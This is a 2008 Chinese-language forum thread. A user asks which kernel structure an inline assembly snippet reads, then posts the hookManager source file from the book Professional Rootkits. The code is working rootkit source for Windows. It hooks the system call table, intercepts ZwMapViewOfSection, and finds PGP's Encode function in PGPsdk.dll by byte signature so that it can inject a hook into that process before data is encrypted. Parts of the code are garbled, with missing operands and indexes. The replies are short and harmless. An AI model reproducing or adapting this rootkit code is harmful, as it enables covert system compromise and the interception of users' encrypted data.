huanwu99 发表于 2008-7-23 10:16:11

请教老大一个问题

mov   edx, pSection
mov   eax,
add   eax, imageOffset
mov   edx,
test    byte ptr , 20h
jz      not_image_section
mov   imageSection, TRUE
mov   eax,
mov   edx,
mov   hRoot, edx
add   eax, 30h
mov   objectName, eax
not_image_section:

这段汇编是从一个结构中得到数据,
我想找找这个结构的原型说明,
不知老大可以说明一下吗?

caterpilla 发表于 2008-7-24 09:37:03

通过汇编能知道一个结构中某些字段所占的字节数(一般都是字或双字,根据寄存器大小判断),但完整的结构和各字段含义要通过更多代码和数据的分析才能知道。

huanwu99 发表于 2008-7-24 10:08:04

这是Professional Rootkits上的原文件,
虽然知道它在做什么,就是看不懂它是怎么做的,
看来要把汇编再苦读一下了。

// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table

#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "peFormat.h"
#include "injectManager.h"

// Add kernel hook(s)
NTSTATUS HookKernel( )
{
        DWORD functionAddress;
        DWORD position;
       
        pMyMDL = MmCreateMdl(        NULL,
                KeServiceDescriptorTable.ServiceTableBase,
                KeServiceDescriptorTable.NumberOfServices * 4 );
       
        if( !pMyMDL )
                return( STATUS_UNSUCCESSFUL );
       
        MmBuildMdlForNonPagedPool( pMyMDL );
        pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
        NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
       
        if( !NewSystemCallTable )
                return( STATUS_UNSUCCESSFUL );
       
        // Need ZwProtectVirtualMemory to write into user memory.
        // But it's not defined in ntddk.h so look for pattern
        // searching backward from ZwPulseEvent
        OldZwProtectVirtualMemory = findUnresolved(ZwPulseEvent);
        if( OldZwProtectVirtualMemory == 0 )
                return( STATUS_UNSUCCESSFUL );
       
        // Add hooks here (remember to unhook if using DriverUnload)
        HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
       
        return( STATUS_SUCCESS );
}

// Process Inject Dynamic Link Libraries
NTSTATUS NewZwMapViewOfSection(
                                                           IN HANDLE SectionHandle,
                                                           IN HANDLE ProcessHandle,
                                                           IN OUT PVOID *BaseAddress,
                                                           IN ULONG ZeroBits,
                                                           IN ULONG CommitSize,
                                                           IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
                                                           IN OUT PSIZE_T ViewSize,
                                                           IN SECTION_INHERIT InheritDisposition,
                                                           IN ULONG AllocationType,
                                                           IN ULONG Protect )
{
        NTSTATUS status;
       
        // First complete the standard mapping process
        status = OldZwMapViewOfSection(        SectionHandle,
                ProcessHandle,
                BaseAddress,
                ZeroBits,
                CommitSize,
                SectionOffset OPTIONAL,
                ViewSize,
                InheritDisposition,
                AllocationType,
                Protect );
       
        // Now remap as required ( imageOffset only known for versions 4 & 5 )
        if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
        {
                unsigned int        imageOffset = 0;
                VOID*                        pSection = NULL;
                unsigned int        imageSection = FALSE;
                HANDLE                        hRoot = NULL;
                PUNICODE_STRING objectName = NULL;
                PVOID                        pImageBase = NULL;
                UNICODE_STRING        library1 = { 0 };
                UNICODE_STRING        library2 = { 0 };
                CALL_DATA_STRUCT        callData = { 0 };
                int                                        hooks2inject = 0;
               
                // Image location higher in version 4
                if( majorVersion == 4 )
                        imageOffset = 24;
               
                if( ObReferenceObjectByHandle(        SectionHandle,
                        SECTION_MAP_EXECUTE,
                        *MmSectionObjectType,
                        KernelMode,
                        &pSection,
                        NULL ) == STATUS_SUCCESS )
                {
                        // Check to see if this is an image section
                        // If it is, get the root handle and the object name
                        _asm
                        {
                                mov   edx, pSection
                                        mov   eax,
                                        add   eax, imageOffset
                                        mov   edx,
                                        test    byte ptr , 20h
                                        jz      not_image_section
                                        mov   imageSection, TRUE
                                        mov   eax,
                                        mov   edx,
                                        mov   hRoot, edx
                                        add   eax, 30h
                                        mov   objectName, eax
not_image_section:
                               
                        }
                        if( BaseAddress )
                                pImageBase = *BaseAddress;
                       
                        // Mapping a DLL
                        if( imageSection && pImageBase && objectName && objectName->Length > 0 )
                        {
                                // define libraries of interest
                                RtlInitUnicodeString( &library1, L"kernel32.dll" );
                                RtlInitUnicodeString( &library2, L"PGPsdk.dll" );
                               
                                if ( IsSameFile( &library1, objectName ) ) // kernel32
                                {
                                        kernel32Base = pImageBase;
                                }
                                else if ( IsSameFile( &library2, objectName ) ) // PGPsdk
                                {
                                        // Pattern for PGP 9.0 Encode
                                        BYTE pattern1[] = {        0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, \
                                                0xFC, 0x00, 0x00, 0x00, 0x53, 0x33, 0xC0, 0x56, \
                                                0x57, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x8D, 0x7C, \
                                                0x24, 0x18, 0xF3, 0xAB };
                                       
                                        PVOID pfEncode = GetFunctionAddress( pImageBase, NULL, pattern1, sizeof(pattern1) );
                                       
                                        if( !pfEncode )
                                        {
                                                // Pattern for PGP 9.5 Encode
                                                BYTE pattern2[] = {        0x81, 0xEC, 0xFC, 0x00, 0x00, 0x00, 0x53, 0x55, \
                                                        0x33, 0xDB, 0x68, 0x98, 0x00, 0x00, 0x00, 0x8D, \
                                                        0x44, 0x24, 0x14, 0x53, 0x50, 0x89, 0x9C, 0x24, \
                                                        0xB4, 0x00, 0x00, 0x00 };
                                               
                                                pfEncode = GetFunctionAddress( pImageBase, NULL, pattern2, sizeof(pattern2) );
                                        }
                                        if( pfEncode )                               
                                        {                                               
                                                hooks2inject = 1;                                               
                                                callData.index = USERHOOK_beforeEncode;                                                                                        callData.hookFunction = pfEncode;                                                                                                callData.parameters = 2;                                                                                                callData.callType = CDECL_TYPE;                                                                                                callData.stackOffset = 0;
                                                DbgPrint("comint32: NewZwMapViewOfSection pfEncode = %x",pfEncode);
                                        }                                       
                                        else                                       
                                        {                                               
                                                DbgPrint("comint32:PGP Encode not found.");                                                                                }                               
                                }
                                if( hooks2inject > 0 )
                                {
                                        PCHAR injectedMemory;
                                       
                                        // prepare memory
                                        injectedMemory = allocateUserMemory();
                                        // inject
                                        if( !processInject( (CALL_DATA_STRUCT*)&callData, hooks2inject, injectedMemory ) )
                                        {
                                                DbgPrint("comint32: processInject failed!\n" );
                                        }
                                }
                        }
                        ObDereferenceObject( pSection );
                }
        }
        return status;
}

// Used to compare a full path to a file name
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
        USHORT index;
        USHORT longLen;
        USHORT shortLen;
        USHORT count;
       
        index = longString->Length / 2; // wchar_t len is length / 2
       
        // search backwards for backslash
        while( --index )
                if ( longString->Buffer == L'\\' )
                        break;
               
                // check for same length first
                longLen = (longString->Length / 2) - index - 1;
                shortLen = shortString->Length / 2;
                if( shortLen != longLen )
                        return FALSE;
               
                // Compare
                count = 0;
                while ( count < longLen )
                        if ( longString->Buffer[++index] != shortString->Buffer )
                                return FALSE;
                       
                        // Match!
                        return TRUE;
}

// Compare to char strings
BOOL IsSameString( char* first, char* second )
{
        while( *first && *second )
        {
                if( tolower( *first ) != tolower( *second ) )
                        return FALSE;
                first++;
                second++;
        }
        if( *first || *second )
                return FALSE;
       
        // strings match!
        return TRUE;
}

// Map user address space into the kernel
PVOID MapKernelAddress( PVOID pAddress, PMDL* ppMDL, ULONG size )
{
        PVOID pMappedAddr = NULL;
       
        *ppMDL = IoAllocateMdl( pAddress, size, FALSE, FALSE, NULL );
        if( *ppMDL == NULL )
                return NULL;
       
        __try
        {
                MmProbeAndLockPages( *ppMDL, KernelMode ,IoReadAccess );
        }
        __except( EXCEPTION_EXECUTE_HANDLER )
        {
                IoFreeMdl( *ppMDL );
                *ppMDL = NULL;
                return NULL;
        }
       
        pMappedAddr = MmGetSystemAddressForMdlSafe( *ppMDL, HighPagePriority );
        if( !pMappedAddr )
        {
                MmUnlockPages( *ppMDL );
                IoFreeMdl( *ppMDL );
                *ppMDL = NULL;
                return NULL;
        }
       
        return pMappedAddr;
}

// Free kernel space after mapping in user memory
VOID FreeKernelAddress( PVOID* ppMappedAddr, PMDL* ppMDL )
{
        if( *ppMappedAddr && *ppMDL )
                MmUnmapLockedPages( *ppMappedAddr, *ppMDL );
       
        *ppMappedAddr = NULL;
        if( *ppMDL )
        {
                MmUnlockPages( *ppMDL );
                IoFreeMdl( *ppMDL );
        }
        *ppMDL = NULL;
}

// get DOS Header -> NT Header -> Optinal Header -> SizeOfImage
ULONG GetImageSize( PVOID baseAddress )
{
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADER pNTHeader;
    ULONG imageSize = 0;
        PVOID pTempNTHeader;
        PVOID mappedBase;
        PMDL pMDL;
       
        mappedBase = MapKernelAddress( baseAddress, &pMDL, sizeof(PIMAGE_DOS_HEADER) );
        if( mappedBase )
        {
                pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
                pTempNTHeader = (PVOID)(pDOSHeader->e_lfanew);
                FreeKernelAddress( &mappedBase, &pMDL );
                mappedBase = MapKernelAddress( (PVOID)((ULONG)baseAddress + (ULONG)pTempNTHeader), &pMDL, sizeof(PIMAGE_NT_HEADER) );
                if( mappedBase )
                {
                        pNTHeader = (PIMAGE_NT_HEADER)mappedBase;
                        imageSize = pNTHeader->OptionalHeader.SizeOfImage;
                        FreeKernelAddress( &mappedBase, &pMDL );
                }
        }
        return imageSize;
}

// find an undocumented ntdll function
PVOID findUnresolved( PVOID pFunc )
{
        UCHAR        pattern = { 0 };
        PUCHAR        bytePtr = NULL;
        PULONGoldStart = 0;
        ULONG        newStart = 0;
       
        memcpy( pattern, pFunc, 5 );
       
        // subtract offset
        oldStart = (PULONG)&(pattern);
        newStart = *oldStart - 1;
        *oldStart = newStart;
       
        // Search for pattern
        for( bytePtr = (PUCHAR)pFunc - 5; bytePtr >= (PUCHAR)pFunc - 0x800; bytePtr-- )
                if( checkPattern( bytePtr, pattern, 5 ) == 0 )
                        return (PVOID)bytePtr;
                // pattern not found
                return NULL;
}

// Get the address of a function from a DLL
// Pass in the base address of the DLL
// Pass function name OR pattern and pettern length
PVOID GetFunctionAddress(        PVOID BaseAddress,
                                               char* functionName,
                                               PBYTE pattern,
                                               size_t patternLength)
{
    ULONG imageSize;
    ULONG virtualAddress;
    PVOID returnAddress;
    PULONG functionAddressArray;
    PWORD ordinalArray;
    PULONG functionNameArray;
    ULONG loop;
    ULONG ordinal;
        PVOID mappedBase;
        PMDL pMDL;
        BYTE* bytePtr;
        BYTE* maxBytePtr;
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADER pNTHeader;
    PIMAGE_EXPORT_DIRECTORY exportDirectory;
       
        imageSize = GetImageSize( BaseAddress );
        mappedBase = MapKernelAddress( BaseAddress, &pMDL, imageSize );
       
        if ( functionName == NULL )
        {
                // Search for function pattern
                returnAddress = 0;
                maxBytePtr = (PBYTE)((DWORD)mappedBase + (DWORD)imageSize - (DWORD)patternLength);
                for( bytePtr = (PBYTE)mappedBase; bytePtr < maxBytePtr; bytePtr++ )
                {       
                        if( checkPattern( bytePtr, pattern, patternLength ) == 0 )
                        {
                                returnAddress = (PVOID)((DWORD)BaseAddress + (DWORD)bytePtr - (DWORD)mappedBase);
                                break;
                        }
                }
                if( mappedBase )
                        FreeKernelAddress( &mappedBase, &pMDL );
                return returnAddress;
        }
       
        // Search for function name
    pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
    pNTHeader = (PIMAGE_NT_HEADER)((PCHAR)mappedBase + pDOSHeader->e_lfanew);
    imageSize = pNTHeader->OptionalHeader.DataDirectory.Size;
    virtualAddress = pNTHeader->OptionalHeader.DataDirectory.VirtualAddress;
    exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)mappedBase + virtualAddress);
    functionAddressArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfFunctions);
    ordinalArray= (PWORD)((PCHAR)mappedBase + exportDirectory->AddressOfNameOrdinals);
    functionNameArray   = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfNames);
       
        ordinal = (ULONG)functionName;
    if (!ordinal)
        {
                if( mappedBase )
                        FreeKernelAddress( &mappedBase, &pMDL );
                return 0;
        }
    if( ordinal <= exportDirectory->NumberOfFunctions )
    {
                if( mappedBase )
                        FreeKernelAddress( &mappedBase, &pMDL );
      return (PVOID)((PCHAR)BaseAddress + functionAddressArray);
    }
       
    for( loop = 0; loop < exportDirectory->NumberOfNames; loop++ )
    {
                ordinal = ordinalArray;
                if( functionAddressArray < virtualAddress || functionAddressArray >= virtualAddress + imageSize )
      {
            if( IsSameString( (PSTR)((PCHAR)mappedBase + functionNameArray), functionName ) )
            {
                                returnAddress = (PVOID)functionAddressArray;
                                if( mappedBase )
                                        FreeKernelAddress( &mappedBase, &pMDL );
                return (PVOID)((DWORD)BaseAddress + (DWORD)returnAddress);
            }
      }
    }
       
        DbgPrint("comint32: EXPORT NOT FOUND, function = %s", functionName);
       
        if( mappedBase )
                FreeKernelAddress( &mappedBase, &pMDL );
        return 0;
}

// This should be fast!
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size )
{
        register unsigned char* p1 = pattern1;
        register unsigned char* p2 = pattern2;
        while( size-- > 0 )
    {
                if( *p1++ != *p2++ )
                        return 1;
        }
        return 0;
}

huanwu99 发表于 2008-7-24 10:09:46

现在发现外国人和咱就是有点不一样,
咱都是从基础教起,
可人家是给你一个好东西让你自己去琢磨他是怎么做的。

huanwu99 发表于 2008-7-24 10:12:50

对了,还是一开始的问题,老大可以点拨一下吗?
那段汇编写的是个什么结构。
想知道它的原型,
内核编**够难的,
连个api参考都找不到

caterpilla 发表于 2008-7-25 11:15:03

可能是PE FORMAT吧,看看PEFORMAT.H这个头文件。网上有一些PE文件的参考,可查。

askyer 发表于 2008-7-25 18:11:05

页: [1]
查看完整版本: 请教老大一个问题